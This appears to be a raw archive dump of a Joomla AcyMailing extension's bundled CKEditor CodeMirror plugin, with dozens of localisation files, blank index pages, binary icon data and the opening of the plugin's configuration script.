	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ms.js000060400000000440152455305300027603 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ms', {
	toolbar: 'Sumber',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/index.html000060400000000054152455305300030545 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sk.js000060400000000437152455305300027607 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'sk', {
	toolbar: 'Zdroj',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/et.js000060400000000444152455305300027600 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'et', {
	toolbar: 'Lähtekood',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/eu.js000060400000000450152455305300027576 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'eu', {
	toolbar: 'HTML Iturburua',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/gl.js000060400000000447152455305300027575 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'gl', {
	toolbar: 'Código Fonte',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/pt.js000060400000000437152455305300027615 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'pt', {
	toolbar: 'Fonte',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sr-latn.js000060400000000443152455305300030470 0ustar00com_acymailingCKEDITOR.plugins.setLang( 'codemirror', 'sr-latn', {
	toolbar: 'Kôd',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/nl.js000060400000000505152455305300027577 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'nl', {
	toolbar: 'Broncode',
	searchCode: 'Zoek in broncode',
	autoFormat: 'Formatteer selectie',
	commentSelectedRange: 'Zet selectie in commentaar',
	uncommentSelectedRange: 'Haal selectie uit commentaar',
	autoCompleteToggle: 'Zet automatisch aanvullen van HTML tags aan/uit'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ku.js000060400000000450152455305300027604 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ku', {
	toolbar: 'سەرچاوە',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/zh-cn.js000060400000000443152455305300030206 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'zh-cn', {
	toolbar: '源码',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ro.js000060400000000437152455305300027612 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ro', {
	toolbar: 'Sursa',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fi.js000060400000000437152455305300027570 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'fi', {
	toolbar: 'Koodi',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ka.js000060400000000454152455305300027564 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ka', {
	toolbar: 'კოდები',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/zh.js000060400000000443152455305300027610 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'zh', {
	toolbar: '原始碼',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en-gb.js000060400000000443152455305300030157 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'en-gb', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/th.js000060400000000461152455305300027602 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'th', {
	toolbar: 'ดูรหัส HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/hi.js000060400000000451152455305300027566 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'hi', {
	toolbar: 'सोर्स',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/no.js000060400000000437152455305300027606 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'no', {
	toolbar: 'Kilde',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/lv.js000060400000000443152455305300027610 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'lv', {
	toolbar: 'HTML kods',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/mn.js000060400000000440152455305300027576 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'mn', {
	toolbar: 'Код',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sv.js000060400000000440152455305300027614 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'sv', {
	toolbar: 'Källa',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ug.js000060400000000444152455305300027603 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ug', {
	toolbar: 'مەنبە',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fa.js000060400000000442152455305300027554 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'fa', {
	toolbar: 'منبع',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/cy.js000060400000000436152455305300027604 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'cy', {
	toolbar: 'HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/is.js000060400000000440152455305300027577 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'is', {
	toolbar: 'Kóði',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en-ca.js000060400000000443152455305300030152 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'en-ca', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/hu.js000060400000000445152455305300027605 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'hu', {
	toolbar: 'Forráskód',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ko.js000060400000000440152455305300027575 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ko', {
	toolbar: '소스',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fr-ca.js000060400000000443152455305300030157 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'fr-ca', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/eo.js000060400000000437152455305300027575 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'eo', {
	toolbar: 'Fonto',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/vi.js000060400000000442152455305300027604 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'vi', {
	toolbar: 'Mã HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/bn.js000060400000000451152455305300027565 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'bn', {
	toolbar: 'সোর্স',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en.js000060400000000446152455305300027574 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'en', {
    toolbar: 'Source',
    searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/af.js000060400000000436152455305300027557 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'af', {
	toolbar: 'Bron',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ar.js000060400000000446152455305300027574 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ar', {
	toolbar: 'المصدر',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fr.js000060400000000440152455305300027573 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'fr', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/gu.js000060400000000534152455305300027603 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'gu', {
	toolbar: 'મૂળ કે પ્રાથમિક દસ્તાવેજ',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/hr.js000060400000000436152455305300027602 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'hr', {
	toolbar: 'Kôd',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/mk.js000060400000000440152455305300027573 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'mk', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/el.js000060400000000455152455305300027572 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'el', {
	toolbar: 'HTML κώδικας',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/tr.js000060400000000440152455305300027611 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'tr', {
	toolbar: 'Kaynak',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sr.js000060400000000437152455305300027616 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'sr', {
	toolbar: 'Kôд',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/he.js000060400000000442152455305300027562 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'he', {
	toolbar: 'מקור',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ru.js000060400000000452152455305300027615 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ru', {
	toolbar: 'Источник',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/pt-br.js000060400000000452152455305300030213 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'pt-br', {
	toolbar: 'Código-Fonte',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/it.js000060400000000451152455305300027602 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'it', {
	toolbar: 'Codice Sorgente',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/nb.js000060400000000437152455305300027571 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'nb', {
	toolbar: 'Kilde',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/km.js000060400000000443152455305300027576 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'km', {
	toolbar: 'កូត',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/pl.js000060400000000525152455305300027603 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'pl', {
	toolbar: 'Źródło dokumentu',
	autoFormat: 'Sformatuj zaznaczenie',
	commentSelectedRange: 'Zakomentuj zaznaczenie',
	uncommentSelectedRange: 'Odkomentuj zaznaczenie',
	searchCode: 'Wyszukaj w źródle',
	autoCompleteToggle: 'Włącza/Wyłącza automatyczne uzupełniania tagów HTML'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/index.html000060400000000054152455305300027703 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/autoformat.png000060400000000322152455305300031627 0ustar00com_acymailing�PNG


IHDR:����IDATWc�_��g����m��ӧ��ӧ1��[�\*p�+�+Td����f|���c�a����NfXŖ�I�͆�t5r���34�?(?���.��w:��r�.�PC'�)���"vbƯ�?�F���R` �[L���G-cIEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/uncommentselec000060400000000435152455305300031711 0ustar00com_acymailing�PNG


IHDR(-SfPLTE@@@KKKWWWuuv��������|�)����P8����I0�X>�/�R:�Z@�[G�rV�fJ������������մ��qYډt���kD��c��h�������Ø�������rIDAT�	�P��-Q�k���%� �wC�1.��뾌�8>ֶ]G@�O�ߩO�BW�u��·�|݃���|�?1�*�n��P(�mR@l@R�d �|��@�IEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/index.html000060400000000054152455305300030737 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/commentselecte000060400000000240152455305300031671 0ustar00com_acymailing�PNG


IHDR���RPLTE���@@@@�7KKKWWWuuv����S��tRNS@��f9IDAT[c`�&4����!((�2�1`zAF�����P P���R�E�<Id��IEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/searchcode.png000060400000000630152455305300031550 0ustar00com_acymailing�PNG


IHDR(-S�PLTE���}}}ssssss===XXXzzz}}}sss===AAAFFFLLLRRRXXX___eeekkkqqqvvv}}}yyy|||}}}vvvzzz}}}������zzz}}}���zzz���������������������������������������������������
�[i tRNS���������������������������~�IDATW��1�0C_~�AK(��o�ʊ���ghUĆ�z�mlP]�at���5Ost{W*9E3���׼�Ѕ��RrEC�����P�hZs��+�^�#�%�9�R�>�kz��^3du��e���q�g��_}+�FEľu=IEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/autocomplete.p000060400000000377152455305300031634 0ustar00com_acymailing�PNG


IHDR_*?�EPLTE���CBBCBBCBBCBBCBBCBBCBBCBBCBBCBBCBB��ZtRNS  @@P``pp���������1�2TIDAT��K@0@�[Z�~�����jD�@���ϼQ�.��G�㛤 �ځT�gS���U�@cB����>a�2q�@�7j���V&HIEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/plugin.js000060400000137312152455305300027552 0ustar00
(function() {
    CKEDITOR.plugins.add('codemirror', {
        icons: 'searchcode,autoformat,commentselectedrange,uncommentselectedrange,autocomplete', // %REMOVE_LINE_CORE%
        lang: 'af,ar,bg,bn,bs,ca,cs,cy,da,de,el,en-au,en-ca,en-gb,en,eo,es,et,eu,fa,fi,fo,fr-ca,fr,gl,gu,he,hi,hr,hu,is,it,ja,ka,km,ko,ku,lt,lv,mk,mn,ms,nb,nl,no,pl,pt-br,pt,ro,ru,sk,sl,sr-latn,sr,sv,th,tr,ug,uk,vi,zh-cn,zh', // %REMOVE_LINE_CORE%
        version: 1.13,
        init: function (editor) {
            var rootPath = this.path,
                defaultConfig = {
                    autoCloseBrackets: true,
                    autoCloseTags: true,
                    autoFormatOnStart: false,
                    autoFormatOnUncomment: true,
                    continueComments: true,
                    enableCodeFolding: true,
                    enableCodeFormatting: true,
                    enableSearchTools: true,
                    highlightMatches: true,
                    indentWithTabs: false,
                    lineNumbers: true,
                    lineWrapping: true,
                    mode: 'htmlmixed',
                    matchBrackets: true,
                    matchTags: true,
                    showAutoCompleteButton: true,
                    showCommentButton: true,
                    showFormatButton: true,
                    showSearchButton: true,
                    showTrailingSpace: true,
                    showUncommentButton: true,
                    styleActiveLine: true,
                    theme: 'default',
                    useBeautify: false
                };
            
            var config = CKEDITOR.tools.extend(defaultConfig, editor.config.codemirror || {}, true),
                lang = editor.lang.codemirror;
            
            if (editor.config.codemirror_theme) {
                config.theme = editor.config.codemirror_theme;
            }
            if (editor.config.codemirror_autoFormatOnStart) {
                config.autoFormatOnStart = editor.config.codemirror_autoFormatOnStart;
            }

            if (editor.plugins.bbcode && config.mode.indexOf("bbcode") <= 0) {
                config.mode = "bbcode";
            }

            if (editor.elementMode === CKEDITOR.ELEMENT_MODE_INLINE || editor.plugins.sourcedialog) {
                
                CKEDITOR.dialog.add('sourcedialog', function (editor) {
                    var size = CKEDITOR.document.getWindow().getViewPaneSize(),
                        width = Math.min(size.width - 70, 800),
                        height = size.height / 1.5,
                        oldData;

                    function loadCodeMirrorInline(editor, textarea) {
                        window["codemirror_" + editor.id] = CodeMirror.fromTextArea(textarea, {
                            mode: config.mode,
                            matchBrackets: config.matchBrackets,
                            matchTags: config.matchTags,
                            workDelay: 300,
                            workTime: 35,
                            readOnly: editor.readOnly,
                            lineNumbers: config.lineNumbers,
                            lineWrapping: config.lineWrapping,
                            autoCloseTags: config.autoCloseTags,
                            autoCloseBrackets: config.autoCloseBrackets,
                            highlightSelectionMatches: config.highlightMatches,
                            continueComments: config.continueComments,
                            indentWithTabs: config.indentWithTabs,
                            theme: config.theme,
                            showTrailingSpace: config.showTrailingSpace,
                            showCursorWhenSelecting: true,
                            styleActiveLine: config.styleActiveLine,
                            viewportMargin: Infinity,
                            extraKeys: {
                                "Ctrl-Q": function (codeMirror_Editor) {
                                    if (config.enableCodeFolding) {
                                        window["foldFunc_" + editor.id](codeMirror_Editor, codeMirror_Editor.getCursor().line);
                                    }
                                },
                                "'>'": function (codeMirror_Editor) {
                                    codeMirror_Editor.closeTag(codeMirror_Editor, '>');
                                },
                                "'/'": function (codeMirror_Editor) {
                                    codeMirror_Editor.closeTag(codeMirror_Editor, '/');
                                }
                            },
                            foldGutter: true,
                            gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"],
                            onKeyEvent: function (codeMirror_Editor, evt) {
                                if (config.enableCodeFormatting) {
                                    var range = getSelectedRange();
                                    if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && !evt.altKey) {
                                        window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
                                    } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && evt.shiftKey && !evt.altKey) {
                                        window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                                        if (config.autoFormatOnUncomment) {
                                            window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                        }
                                    } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && evt.altKey) {
                                        window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                    }
                                }
                            }
                        });

                        var holderHeight = height + 'px';
                        var holderWidth = width + 'px';

                        window["codemirror_" + editor.id].config = config;
                        
                        if (config.autoFormatOnStart) {
                            if (config.useBeautify) {
                                var indent_size = 4,
                                    indent_char = ' ',
                                    brace_style = 'collapse'; //collapse, expand, end-expand 

                                var source = window["codemirror_" + editor.id].getValue();

                                window["codemirror_" + editor.id].setValue(html_beautify(source, indent_size, indent_char, 120, brace_style));
                            } else {
                                window["codemirror_" + editor.id].autoFormatAll({
                                    line: 0,
                                    ch: 0
                                }, {
                                    line: window["codemirror_" + editor.id].lineCount(),
                                    ch: 0
                                });
                            }
                        }

                        function getSelectedRange() {
                            return {
